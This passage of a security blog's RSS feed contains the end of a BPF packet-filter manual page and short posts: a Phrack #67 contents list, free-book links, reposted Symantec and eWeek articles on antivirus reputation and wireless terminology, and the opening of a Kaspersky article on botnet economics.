              is on an ILMI circuit (VPI=0 &amp; VCI=16).</p>
<p>       <b>connectmsg</b><br />
              True  if the packet is an ATM packet, for SunATM on Solaris, and<br />
              is on a signaling circuit and is a Q.2931 Setup,  Call  Proceed-<br />
              ing, Connect, Connect Ack, Release, or Release Done message.</p>
<p>       <b>metaconnect</b><br />
              True  if the packet is an ATM packet, for SunATM on Solaris, and<br />
              is on a meta signaling circuit and is a Q.2931 Setup, Call  Pro-<br />
              ceeding, Connect, Release, or Release Done message.</p>
<p>       <i>expr</i> <i>relop</i> <i>expr</i><br />
              True  if the relation holds, where <i>relop</i> is one of &gt;, &lt;, &gt;=, &lt;=,<br />
              =, !=, and <i>expr</i> is an arithmetic expression composed of  integer<br />
              constants  (expressed  in  standard C syntax), the normal binary<br />
              operators [+, -, *, /, &amp;, |, &lt;&lt;, &gt;&gt;],  a  length  operator,  and<br />
              special  packet  data  accessors.  Note that all comparisons are<br />
              unsigned, so that, for example, 0&#215;80000000 and 0xffffffff are  &gt;<br />
              0.  To access data inside the packet, use the following syntax:<br />
                   <i>proto</i> <b>[</b> <i>expr</i> <b>:</b> <i>size</i> <b>]</b><br />
              <i>Proto</i> is one of <b>ether,</b> <b>fddi,</b> <b>tr,</b> <b>wlan,</b> <b>ppp,</b> <b>slip,</b> <b>link,</b> <b>ip,</b> <b>arp,</b><br />
              <b>rarp,</b> <b>tcp,</b> <b>udp,</b> <b>icmp,</b> <b>ip6</b> or <b>radio</b>, and indicates  the  protocol<br />
              layer  for  the  index  operation.  (<b>ether,</b> <b>fddi,</b> <b>wlan,</b> <b>tr,</b> <b>ppp,</b><br />
              <b>slip</b> and <b>link</b> all refer to the link layer. <b>radio</b> refers  to  the<br />
              &#8220;radio  header&#8221;  added to some 802.11 captures.)  Note that <i>tcp,</i><br />
              <i>udp</i> and other upper-layer protocol types only apply to IPv4, not<br />
              IPv6 (this will be fixed in the future).  The byte offset, rela-<br />
              tive to the indicated protocol layer, is given by <i>expr</i>.  <i>Size</i> is<br />
              optional  and  indicates  the  number  of  bytes in the field of<br />
              interest; it can be either one, two, or four,  and  defaults  to<br />
              one.   The  length operator, indicated by the keyword <b>len</b>, gives<br />
              the length of the packet.</p>
<p>              For example, `<b>ether[0]</b> <b>&amp;</b> <b>1</b> <b>!=</b> <b>0</b>&#8216; catches all multicast  traffic.<br />
              The  expression `<b>ip[0]</b> <b>&amp;</b> <b>0xf</b> <b>!=</b> <b>5</b>&#8216; catches all IPv4 packets with<br />
              options.  The expression `<b>ip[6:2]</b> <b>&amp;</b> <b>0x1fff</b>  <b>=</b>  <b>0</b>&#8216;  catches  only<br />
              unfragmented  IPv4  datagrams  and  frag zero of fragmented IPv4<br />
              datagrams.  This check is implicitly applied to the <b>tcp</b> and  <b>udp</b><br />
              index  operations.   For instance, <b>tcp[0]</b> always means the first<br />
              byte of the TCP <i>header</i>, and never means the  first  byte  of  an<br />
              intervening fragment.</p>
<p>              Some  offsets  and field values may be expressed as names rather<br />
              than as numeric values.  The  following  protocol  header  field<br />
              offsets  are  available:  <b>icmptype</b>  (ICMP  type field), <b>icmpcode</b><br />
              (ICMP code field), and <b>tcpflags</b> (TCP flags field).</p>
<p>              The following ICMP type field values are available: <b>icmp-echore-</b><br />
              <b>ply</b>,  <b>icmp-unreach</b>, <b>icmp-sourcequench</b>, <b>icmp-redirect</b>, <b>icmp-echo</b>,<br />
              <b>icmp-routeradvert</b>,  <b>icmp-routersolicit</b>,   <b>icmp-timxceed</b>,   <b>icmp-</b><br />
              <b>paramprob</b>,  <b>icmp-tstamp</b>,  <b>icmp-tstampreply</b>, <b>icmp-ireq</b>, <b>icmp-ire-</b><br />
              <b>qreply</b>, <b>icmp-maskreq</b>, <b>icmp-maskreply</b>.</p>
<p>              The following TCP flags field  values  are  available:  <b>tcp-fin</b>,<br />
              <b>tcp-syn</b>, <b>tcp-rst</b>, <b>tcp-push</b>, <b>tcp-ack</b>, <b>tcp-urg</b>.</p>
<p>       Primitives may be combined using:</p>
<p>              A  parenthesized  group of primitives and operators (parentheses<br />
              are special to the Shell and must be escaped).</p>
<p>              Negation (`<b>!</b>&#8216; or `<b>not</b>&#8216;).</p>
<p>              Concatenation (`<b>&amp;&amp;</b>&#8216; or `<b>and</b>&#8216;).</p>
<p>              Alternation (`<b>||</b>&#8216; or `<b>or</b>&#8216;).</p>
<p>       Negation has highest precedence.  Alternation  and  concatenation  have<br />
       equal  precedence  and associate left to right.  Note that explicit <b>and</b><br />
       tokens, not juxtaposition, are now required for concatenation.</p>
<p>       If an identifier is given without a keyword, the most recent keyword is<br />
       assumed.  For example,<br />
            <b>not</b> <b>host</b> <b>vs</b> <b>and</b> <b>ace</b><br />
       is short for<br />
            <b>not</b> <b>host</b> <b>vs</b> <b>and</b> <b>host</b> <b>ace</b><br />
       which should not be confused with<br />
            <b>not</b> <b>(</b> <b>host</b> <b>vs</b> <b>or</b> <b>ace</b> <b>)</b> </p>
</pre>
<h2>EXAMPLES</h2>
<pre>
       To select all packets arriving at or departing from <i>sundown</i>:
              <b>host</b> <b>sundown</b> 

       To select traffic between <i>helios</i> and either <i>hot</i> or <i>ace</i>:
              <b>host</b> <b>helios</b> <b>and</b> <b>\(</b> <b>hot</b> <b>or</b> <b>ace</b> <b>\)</b> 

       To select all IP packets between <i>ace</i> and any host except <i>helios</i>:
              <b>ip</b> <b>host</b> <b>ace</b> <b>and</b> <b>not</b> <b>helios</b> 

       To select all traffic between local hosts and hosts at Berkeley:
              <b>net</b> <b>ucb-ether</b> 

       To select all ftp traffic through internet gateway <i>snup</i>:
              <b>gateway</b> <b>snup</b> <b>and</b> <b>(port</b> <b>ftp</b> <b>or</b> <b>ftp-data)</b> 

       To select traffic neither sourced from nor destined for local hosts (if
       you gateway to one other net, this stuff should never make it onto your
       local net).
              <b>ip</b> <b>and</b> <b>not</b> <b>net</b> <i>localnet</i> 

       To  select  the start and end packets (the SYN and FIN packets) of each
       TCP conversation that involves a non-local host.
              <b>tcp[tcpflags]</b> <b>&amp;</b> <b>(tcp-syn|tcp-fin)</b> <b>!=</b> <b>0</b> <b>and</b> <b>not</b> <b>src</b> <b>and</b> <b>dst</b> <b>net</b> <i>localnet</i> 

       To select all IPv4 HTTP packets to and from port 80,  i.e.  print  only
       packets  that  contain  data, not, for example, SYN and FIN packets and
       ACK-only packets.  (IPv6 is left as an exercise for the reader.)
              <b>tcp</b> <b>port</b> <b>80</b> <b>and</b> <b>(((ip[2:2]</b> <b>-</b> <b>((ip[0]&amp;0xf)&lt;&lt;2))</b> <b>-</b> <b>((tcp[12]&amp;0xf0)&gt;&gt;2))</b> <b>!=</b> <b>0)</b> 

       To select IP packets longer than 576 bytes sent through gateway <i>snup</i>:
              <b>gateway</b> <b>snup</b> <b>and</b> <b>ip[2:2]</b> <b>&gt;</b> <b>576</b> 

       To select IP broadcast or multicast packets that were <i>not</i> sent via Eth-
       ernet broadcast or multicast:
              <b>ether[0]</b> <b>&amp;</b> <b>1</b> <b>=</b> <b>0</b> <b>and</b> <b>ip[16]</b> <b>&gt;=</b> <b>224</b> 

       To  select  all  ICMP packets that are not echo requests/replies (i.e.,
       not ping packets):
              <b>icmp[icmptype]</b> <b>!=</b> <b>icmp-echo</b> <b>and</b> <b>icmp[icmptype]</b> <b>!=</b> <b>icmp-echoreply</b> 
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.megapanzer.com/2011/03/04/berkeley-packet-filter-bpf-syntax-in-pcap/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>By the way, Phrack #67 is there!</title>
		<link>http://www.megapanzer.com/2010/12/04/by-the-way-phrack-67-is-there/</link>
		<comments>http://www.megapanzer.com/2010/12/04/by-the-way-phrack-67-is-there/#comments</comments>
		<pubDate>Sat, 04 Dec 2010 15:57:56 +0000</pubDate>
		<dc:creator>carrumba</dc:creator>
				<category><![CDATA[Info]]></category>
		<category><![CDATA[Reading material]]></category>
		<category><![CDATA[ezine]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[phrack]]></category>
		<category><![CDATA[zine]]></category>

		<guid isPermaLink="false">http://www.megapanzer.com/?p=4834</guid>
		<description><![CDATA[I tweeted it but forgot to tell it here &#8230; Phrack #67 is there. What is Phrack? Phrack is an ezine written by and for hackers, the longest running hacker magazine first published in 1985. Here the TOC Introduction The Phrack Staff Phrack Prophile on Punk The Phrack Staff Phrack World News EL ZILCHO Loopback [...]]]></description>
			<content:encoded><![CDATA[<glossarycode><glossarycode><glossarycode><p><img src="http://www.megapanzer.com/wp-content/uploads/books-150x150.jpg" alt="" title="books" width="75" height="75" class="alignright size-thumbnail wp-image-2238" />I tweeted it but forgot to tell it here &#8230; Phrack #67 is there.  What is Phrack? Phrack is an ezine written by and for <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1220" title="Glossary: Hacker" target="_blank">hackers</a>, the longest running <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1220" title="Glossary: Hacker" target="_blank">hacker</a> magazine  first published in 1985.<br />
<br/><br />
<br/><br />
Here the TOC<br />
<br/></p>
<table border="0">
<tr height="30">
<td>
<strong>Introduction</strong></td>
<td>The Phrack Staff
</td>
</tr>
<tr height="30">
<td>
<strong>Phrack Prophile on Punk</strong></td>
<td>The Phrack Staff
</td>
</tr>
<tr height="30">
<td>
<strong>Phrack World News</strong></td>
<td>EL ZILCHO
</td>
</tr>
<tr height="30">
<td>
<strong>Loopback (is back)</strong></td>
<td>The Phrack Staff
</td>
</tr>
<tr height="30">
<td>
<strong>How to make it in Prison</strong></td>
<td>TAp
</td>
</tr>
<tr height="30">
<td>
<strong>Kernel instrumentation using kprobes</strong></td>
<td>ElfMaster
</td>
</tr>
<tr height="30">
<td>
<strong>ProFTPD with mod_sql pre-authentication, remote root</strong></td>
<td>FelineMenace
</td>
</tr>
<tr height="30">
<td>
<strong>The House Of Lore: Reloaded ptmalloc v2 &#038; v3: Analysis &#038; Corruption</strong></td>
<td>	blackngel
</td>
</tr>
<tr height="30">
<td>
<strong>A Eulogy for Format Strings</strong></td>
<td>Captain Planet
</td>
</tr>
<tr height="30">
<td>
<strong>Dynamic Program Analysis and Software <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=2563" title="Glossary: Exploit" target="_blank">Exploitation</a></strong></td>
<td>BSDaemon
</td>
</tr>
<tr height="30">
<td>
<strong><a class="glossaryLink" href="http://www.megapanzer.com/?page_id=2563" title="Glossary: Exploit" target="_blank">Exploiting</a> Memory Corruptions in Fortran Programs Under Unix/VMS</strong></td>
<td>Magma
</td>
</tr>
<tr height="30">
<td>
<strong>Phrackerz: Two Tales</strong></td>
<td>Antipeace &#038; The Analog Kid
</td>
</tr>
<tr height="30">
<td><strong><br />
Scraps of notes on remote <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Stack overflow" target="_blank">stack overflow</a> <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=2563" title="Glossary: Exploit" target="_blank">exploitation</a></strong></td>
<td>pi3
</td>
</tr>
<tr height="30">
<td>
<strong>Notes Concerning The Security, Design and Administration of Siemens DCO-CS</strong></td>
<td>	The Philosopher
</td>
</tr>
<tr height="30">
<td>
<strong>Hacking the mind for fun and profit</strong></td>
<td>lvxferis
</td>
</tr>
<tr height="30">
<td>
<strong>International scenes</strong></td>
<td>various
</td>
</tr>
</table>
<p><br/></p>
<p>Read it <a href="http://www.phrack.com/issues.html?issue=67" target="_blank">here</a>.</p></glossarycode></glossarycode></glossarycode>]]></content:encoded>
			<wfw:commentRss>http://www.megapanzer.com/2010/12/04/by-the-way-phrack-67-is-there/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Openbooks</title>
		<link>http://www.megapanzer.com/2010/07/19/openbooks/</link>
		<comments>http://www.megapanzer.com/2010/07/19/openbooks/#comments</comments>
		<pubDate>Mon, 19 Jul 2010 21:52:03 +0000</pubDate>
		<dc:creator>carrumba</dc:creator>
				<category><![CDATA[Reading material]]></category>
		<category><![CDATA[books]]></category>
		<category><![CDATA[Galileocomputing]]></category>
		<category><![CDATA[O'Reilly]]></category>

		<guid isPermaLink="false">http://www.megapanzer.com/?p=3607</guid>
		<description><![CDATA[O&#8217;Reilly and also Galileocomputing publish some of their books besides the print version also as PDF. Means you can download them legally from the Inet and use them for your work. Of course you can also download other titles that are not listed in their Openbook directory from the web, bittorrent, emule, etc. The legal [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.megapanzer.com/wp-content/uploads/books.jpg"><img src="http://www.megapanzer.com/wp-content/uploads/books-150x150.jpg" alt="" title="books" width="75" height="75" class="alignright size-thumbnail wp-image-2238" /></a>O&#8217;Reilly and also Galileocomputing publish some of their books besides the print version also as PDF. Means you can download them legally from the Inet and use them for your work.<br />
Of course you can also download other titles that are not listed in their Openbook directory from the web, bittorrent, emule, etc. The legal aspect makes the difference. </p>
<p><strong>O&#8217;Reilly </strong>: <a href="http://oreilly.com/openbook/" target="_blank">oreilly.com/openbook/</a><br />
<strong>Galileocomputing </strong>: <a href="http://www.galileocomputing.de/openbook" target="_blank">www.galileocomputing.de/openbook</a> (German)<br />
<br />
<strong>Are there other legal places to read open books?</strong> Nostarch and Apress don&#8217;t afaIk.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.megapanzer.com/2010/07/19/openbooks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Reputation-based Security: Suspicious.Insight detections on Virus Total</title>
		<link>http://www.megapanzer.com/2010/02/27/reputation-based-security-suspicious-insight-detections-on-virus-total/</link>
		<comments>http://www.megapanzer.com/2010/02/27/reputation-based-security-suspicious-insight-detections-on-virus-total/#comments</comments>
		<pubDate>Sat, 27 Feb 2010 10:41:21 +0000</pubDate>
		<dc:creator>carrumba</dc:creator>
				<category><![CDATA[Reading material]]></category>
		<category><![CDATA[Antivirus]]></category>
		<category><![CDATA[Suspicious.Insight]]></category>
		<category><![CDATA[Symantec]]></category>
		<category><![CDATA[Virus]]></category>

		<guid isPermaLink="false">http://www.megapanzer.com/?p=3488</guid>
		<description><![CDATA[I found an intresting article on the symantec blog why the old pattern matching AV method fails more and more and how they face this situation. A recommended reading during a coffee break. Reputation-based Security: Suspicious.Insight detections on Virus Total We recently upgraded our scanner on Virus Total to include our new reputation-based security engine. [...]]]></description>
			<content:encoded><![CDATA[<glossarycode><glossarycode><glossarycode><p><img src="http://www.megapanzer.com/wp-content/uploads/books-150x150.jpg" alt="" title="books" width="75" height="75" class="alignright size-thumbnail wp-image-2238" />I found an intresting article on the symantec blog why the old pattern matching AV method fails more and more and how they face this situation. A recommended reading during a coffee break.</p>
<p><strong>Reputation-based Security: Suspicious.Insight detections on Virus Total</strong></p>
<p>We recently upgraded our scanner on Virus Total to include our new reputation-based security engine. That has caused a spike in our detection rates, in particular Suspicious.Insight detections, and so I thought I’d take a few minutes to explain some of the background and what is going on.</p>
<p>So what exactly is a Suspicious.Insight detection? These detections are derived from Symantec’s new reputation-based security technology. They highlight files that have not yet developed a strong reputation (either good or bad) amongst Symantec’s community of users. Our goal is to keep our users’ machines safe, and part of achieving that goal means helping our users make informed choices about the files they allow on to their systems. Suspicious.Insight detections help shine a spotlight on files that have not yet developed a full reputation.</p>
<p>Why are we doing this, and what’s wrong with the conventional approach to security using traditional antivirus <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Signature" target="_blank">signatures</a>? Unfortunately, traditional antivirus techniques are no longer as strong a defense as they used to be. Over the last few years Symantec has observed a seismic shift in the threat landscape. Consider this: ten years ago, Symantec published little more than a few handfuls of new virus definitions each week. Today that number has grown dramatically and we currently publish, on average, well in excess of fifteen thousand new virus definitions each day. So, why is this? Well, virus writers have realized that that once a virus definition for their <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1210" title="Glossary: Malware" target="_blank">malware</a> exists, their game is over. So instead of hoping that a new threat will make its way across the globe to a large number of people and not be blocked by an security product’s latest <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Signature" target="_blank">signature</a>, they are today focusing their efforts on shape-shifting as frequently as possible to avoid the traditional detection methods. They use techniques such as server side <a class="glossaryLink" href="http://www.megapanzer.com/" title="Glossary: Polymorphism" target="_blank">polymorphism</a>, obfuscation, and encryption to cloak their threats in a disguise, and then change that disguise as frequently as possible. So today, the vast majority of <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1210" title="Glossary: Malware" target="_blank">malware</a> is generated in real-time on a per-victim basis, which means that each such malicious program will be rated as being entirely new and low-prevalence by a reputation-based system. In contrast, most legitimate software has vastly different characteristics—it often comes from known publishers, has high adoption rates, shares much in common with earlier versions of the software, and so on. The Suspicious.Insight detection, therefore, is meant to inform the user that a given application is unproven and not yet well known to Symantec’s tens of millions of users. </p>
<p>Read full article <a href="http://www.symantec.com/connect/de/blogs/reputation-based-security-suspiciousinsight-detections-virus-total" target="_blank">here</a>.</p></glossarycode></glossarycode></glossarycode>]]></content:encoded>
			<wfw:commentRss>http://www.megapanzer.com/2010/02/27/reputation-based-security-suspicious-insight-detections-on-virus-total/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Wireless Security: A Partial Glossary of Wireless Security Terms</title>
		<link>http://www.megapanzer.com/2010/01/02/wireless-security-a-partial-glossary-of-wireless-security-terms/</link>
		<comments>http://www.megapanzer.com/2010/01/02/wireless-security-a-partial-glossary-of-wireless-security-terms/#comments</comments>
		<pubDate>Sat, 02 Jan 2010 22:37:26 +0000</pubDate>
		<dc:creator>carrumba</dc:creator>
				<category><![CDATA[Reading material]]></category>
		<category><![CDATA[802.11]]></category>
		<category><![CDATA[leap]]></category>
		<category><![CDATA[psk]]></category>
		<category><![CDATA[tkip]]></category>
		<category><![CDATA[WEP]]></category>
		<category><![CDATA[Wireless]]></category>
		<category><![CDATA[WLAN]]></category>
		<category><![CDATA[WPA]]></category>
		<category><![CDATA[WPA2]]></category>

		<guid isPermaLink="false">http://www.megapanzer.com/?p=3309</guid>
		<description><![CDATA[Larry Seltzers glossary about wireless security terms found on www.eweek.com. Wireless Security: A Partial Glossary of Wireless Security Terms Just about a month ago, in early November, the news came out that the first cracks were appearing in WPA, or Wi-Fi Protected Access, a very popular wireless security standard. The compromise that was accomplished by [...]]]></description>
			<content:encoded><![CDATA[<glossarycode><glossarycode><p><a href="http://www.megapanzer.com/wp-content/uploads/books.jpg"><img src="http://www.megapanzer.com/wp-content/uploads/books-150x150.jpg" alt="" title="books" width="75" height="75" class="alignright size-thumbnail wp-image-2238" /></a>Larry Seltzers glossary about wireless security terms found on <a href="http://www.eweek.com" target="_blank">www.eweek.com</a>.<br />
<br/><br />
<br/><br />
<strong>Wireless Security: A Partial Glossary of Wireless Security Terms</strong> </p>
<p>Just about a month ago, in early November, the news came out that the first cracks were appearing in <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1322" title="Glossary: WPA" target="_blank">WPA</a>, or Wi-Fi Protected Access, a very popular wireless security standard. The compromise that was accomplished by some researchers was not a real killer, but the affected version of <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1322" title="Glossary: WPA" target="_blank">WPA</a> (and the associated encryption process, TKIP, or Temporal Key Integrity Protocol), was always meant as a stopgap standard.</p>
<p>For some time now there have been better standards implemented in shipping wireless products, and there have been many articles published with good advice on improving your wireless security. For example, this one from eWEEK Labs&#8217; Andrew Garcia discusses the attack itself and how you can protect yourself from it. This one from Dan Croft discusses bigger issues of wireless security architecture and policy.<br />
<span id="more-3309"></span><br />
After reading the wireless security news, Steven M. Bellovin, professor of Computer Science at Columbia University, decided to tighten up the security on his own home wireless network. Bellovin&#8217;s house is not an enterprise, so much of the advice and solutions available for dealing with this problem aren&#8217;t really applicable. Bellovin didn&#8217;t really know how to proceed, and if a professor of Computer Science at an Ivy League school can&#8217;t make immediate sense of it all, how is everyone else supposed to?</p>
<p>I decided to examine the wireless terms that Bellovin encountered in the various products he has to see what they all meant:</p>
<p>    <strong>* <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1319" title="Glossary: WEP" target="_blank">WEP</a> (Wired Equivalent Privacy)—</strong>The old, original, now discredited wireless security standard. Easily cracked.<br />
    <strong>* <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1319" title="Glossary: WEP" target="_blank">WEP</a> 40/128-bit key, <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1319" title="Glossary: WEP" target="_blank">WEP</a> 128-bit Passphrase—</strong>See <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1319" title="Glossary: WEP" target="_blank">WEP</a>. The user key for <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1319" title="Glossary: WEP" target="_blank">WEP</a> is generally either 40- or 128-bit, and generally has to be supplied as a hexadecimal string.<br />
    <strong>* <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1322" title="Glossary: WPA" target="_blank">WPA</a>, WPA1—</strong>Wi-Fi Protected Access. The initial version of <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1322" title="Glossary: WPA" target="_blank">WPA</a>, sometimes called WPA1, is essentially a brand name for TKIP. TKIP was chosen as an interim standard because it could be implemented on <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1319" title="Glossary: WEP" target="_blank">WEP</a> hardware with just a firmware upgrade.<br />
    <strong>* WPA2—</strong>The trade name for an implementation of the 802.11i standard, including AES and CCMP.<br />
    <strong>* TKIP—</strong>Temporal Key Integrity Protocol. The replacement encryption system for <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1319" title="Glossary: WEP" target="_blank">WEP</a>. Several features were added to make keys more secure than they were under <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1319" title="Glossary: WEP" target="_blank">WEP</a>.<br />
    <strong>* AES—</strong>Advanced Encryption Standard. This is now the preferred encryption method, replacing the old TKIP. AES is implemented in WPA2/802.11i.<br />
    <strong>* Dynamic <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1319" title="Glossary: WEP" target="_blank">WEP</a> (802.1x)—</strong>When the <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1319" title="Glossary: WEP" target="_blank">WEP</a> key/passphrase is entered by a key management service. <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1319" title="Glossary: WEP" target="_blank">WEP</a> as such did not support dynamic keys until the advent of TKIP and CCMP.<br />
    <strong>* EAP—</strong>Extensible Authentication Protocol. A standard authentication framework. EAP supplies common functions and a negotiation mechanism, but not a specific authentication method. Currently there are about 40 different methods implemented for EAP. See <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1322" title="Glossary: WPA" target="_blank">WPA</a> Enterprise.<br />
    <strong>* 802.1x, IEEE8021X—</strong>The IEEE family of standards for authentication on networks. In this context, the term is hopelessly ambiguous.<br />
    <strong>* LEAP, 802.1x EAP (Cisco LEAP)—</strong>(Lightweight Extensible Authentication Protocol) A proprietary method of wireless LAN authentication developed by Cisco Systems. Supports dynamic <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1319" title="Glossary: WEP" target="_blank">WEP</a>, RADIUS and frequent reauthentication.<br />
    <strong>* <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1322" title="Glossary: WPA" target="_blank">WPA</a>-PSK, <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1322" title="Glossary: WPA" target="_blank">WPA</a>-Preshared Key—</strong>Use of a shared key, meaning one manually set and manually managed. Does not scale with a large network either for manageability or security, but needs no external key management system.<br />
    <strong>* RADIUS—</strong>Remote Authentication Dial In User Service. A very old protocol for centralizing authentication and authorization management. The RADIUS server acts as a remote service for these functions.<br />
    <strong>* <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1322" title="Glossary: WPA" target="_blank">WPA</a> Enterprise, WPA2 Enterprise—</strong>A trade name for a set of EAP types. Products certified as <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1322" title="Glossary: WPA" target="_blank">WPA</a> Enterprise or WPA2 Enterprise will interoperate. The included types are:<br />
          o EAP-TLS<br />
          o EAP-TTLS/MSCHAPv2<br />
          o PEAPv0/EAP-MSCHAPv2<br />
          o PEAPv1/EAP-GTC<br />
          o EAP-SIM<br />
    <strong>* <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1322" title="Glossary: WPA" target="_blank">WPA</a>-Personal, WPA2-Personal—</strong>See Pre-Shared Key.<br />
    <strong>* WPA2-Mixed—</strong>Support for both WPA1 and WPA2 on the same access point.<br />
    <strong>* authentication algorithms: OPEN, SHARED and LEAP—</strong>OPEN in this context meant no authentication; the network was open to all. SHARED refers to preshared key. for LEAP see LEAP.</p>
<p>And I&#8217;ll add a few more:</p>
<p>    <strong>* 802.11i—</strong>An IEEE standard specifying security mechanisms for 802.11 networks. 802.11i uses AES and includes improvements in key management, user authentication through 802.1X and data integrity of headers.<br />
    <strong>* CCMP—</strong>Counter Mode with Cipher Block Chaining Message Authentication Code Protocol. An encryption protocol that uses AES.</p>
<p><strong>Wireless Security: A Partial Glossary of Wireless Security Terms &#8211; Wireless Security: The Main Point </strong><br />
There, all clear now? Me neither.</p>
<p>The real point of Bellovin&#8217;s blog, which is clearly underscored by the definitions above, is that wireless products throw a vat of alphabet soup at users and it&#8217;s no surprise if they make bad decisions in configuration. It&#8217;s so easy to find a completely wide-open wireless network; is this because people just don&#8217;t care or because securing them is too hard? Some of both, I suppose. </p>
<p>The terms <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1322" title="Glossary: WPA" target="_blank">WPA</a> Personal and <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1322" title="Glossary: WPA" target="_blank">WPA</a> Enterprise are attempts to move beyond this problem, at least at the point of purchase. Home users would just look for <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1322" title="Glossary: WPA" target="_blank">WPA</a> Personal-compliant products, and enterprises would look for <a class="glossaryLink" href="http://www.megapanzer.com/?page_id=1322" title="Glossary: WPA" target="_blank">WPA</a> Enterprise, and be assured of a fairly high level of interoperability. But it&#8217;s no guarantee of plug-and-play secure networks.</p>
<p>There&#8217;s no easy way out of this problem. Unfortunately, vendors have a strong incentive to retain support for old standards, as they are widely implemented, and this means that configuration screens will be loaded up with lots of the alphabet soup above. Education is not usually a great solution for a security problem, but that&#8217;s all we&#8217;re left with in wireless security configuration. Wish us luck.</p></glossarycode></glossarycode>]]></content:encoded>
			<wfw:commentRss>http://www.megapanzer.com/2010/01/02/wireless-security-a-partial-glossary-of-wireless-security-terms/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Economics of Botnets</title>
		<link>http://www.megapanzer.com/2009/11/27/the-economics-of-botnets/</link>
		<comments>http://www.megapanzer.com/2009/11/27/the-economics-of-botnets/#comments</comments>
		<pubDate>Fri, 27 Nov 2009 17:31:03 +0000</pubDate>
		<dc:creator>carrumba</dc:creator>
				<category><![CDATA[Reading material]]></category>
		<category><![CDATA[Stuff]]></category>
		<category><![CDATA[bot]]></category>
		<category><![CDATA[botnet]]></category>
		<category><![CDATA[click fraud]]></category>
		<category><![CDATA[cybercriminals]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[trojan]]></category>

		<guid isPermaLink="false">http://www.megapanzer.com/?p=3139</guid>
		<description><![CDATA[Nice article about botnets, click fraud and spamming. You can find the original article (written by Yury Namestnikov) on www.viruslist.com. The Economics of Botnets In the past ten years, botnets have evolved from small networks of a dozen PCs controlled from a single C&#038;C (command and control center) into sophisticated distributed systems comprising millions of [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.megapanzer.com/wp-content/uploads/books-150x150.jpg" alt="books" title="books" width="75" height="75" class="alignright size-thumbnail wp-image-2238" />Nice article about botnets, click fraud and spamming.<br />
You can find the original article (written by Yury Namestnikov) on <a href="http://www.viruslist.com/" target="_blank">www.viruslist.com</a>.</p>
<p>
<strong>The Economics of Botnets</strong></p>
<p>In the past ten years, botnets have evolved from small networks of a dozen PCs controlled from a single C&#038;C (command and control center) into sophisticated distributed systems comprising millions of computers with decentralized control. Why are these enormous zombie networks created? The answer can be given in a single word: money.</p>
<p>A botnet, or zombie network, is a network of computers infected with a malicious program that allows cybercriminals to control the infected machines remotely without the users’ knowledge. Zombie networks have become a source of income for entire groups of cybercriminals. The invariably low cost of maintaining a botnet and the ever diminishing degree of knowledge required to manage one are conducive to growth in popularity and, consequently, the number of botnets.<br />
<span id="more-3139"></span><br />
So how does one start? What does a cybercriminal in need of a botnet do? There are many possibilities, depending on the criminal’s skills. Unfortunately, those who decide to set up a botnet from scratch will have no difficulty finding instructions on the Internet.<br />
<br />
You can simply create a new zombie network. This involves infecting computers with a special program called a bot. Bots are malicious programs that unite compromised computers into botnets. If someone who wants to start a ‘business’ has no programming skills, there are plenty of ‘bot for sale’ offers on forums. Obfuscation and encryption of these programs’ code can also be ordered in the same way in order to protect them from detection by antivirus tools. Another option is to steal an existing botnet.<br />
<br />
The cybercriminal’s next step is to infect user machines with bot malware. This is done by sending spam, posting messages on user forums and social networks, or via drive-by downloads. Alternatively, the bot itself can include self-replication functionality, like viruses and worms.<br />
<br />
Various social engineering techniques are used when ordering spam mailings or posting messages on user forums and social networks in order to cause potential victims to install a bot. For example, users can be offered an interesting video to view, which requires downloading a special codec. Of course, the user won’t be able to watch the video after downloading and launching the file. In fact, the user will probably not notice any changes at all, but at the same time the computer will be infected. As a result, the computer will become an obedient servant at the beck and call of the botnet owner without the user being any the wiser.<br />
<br />
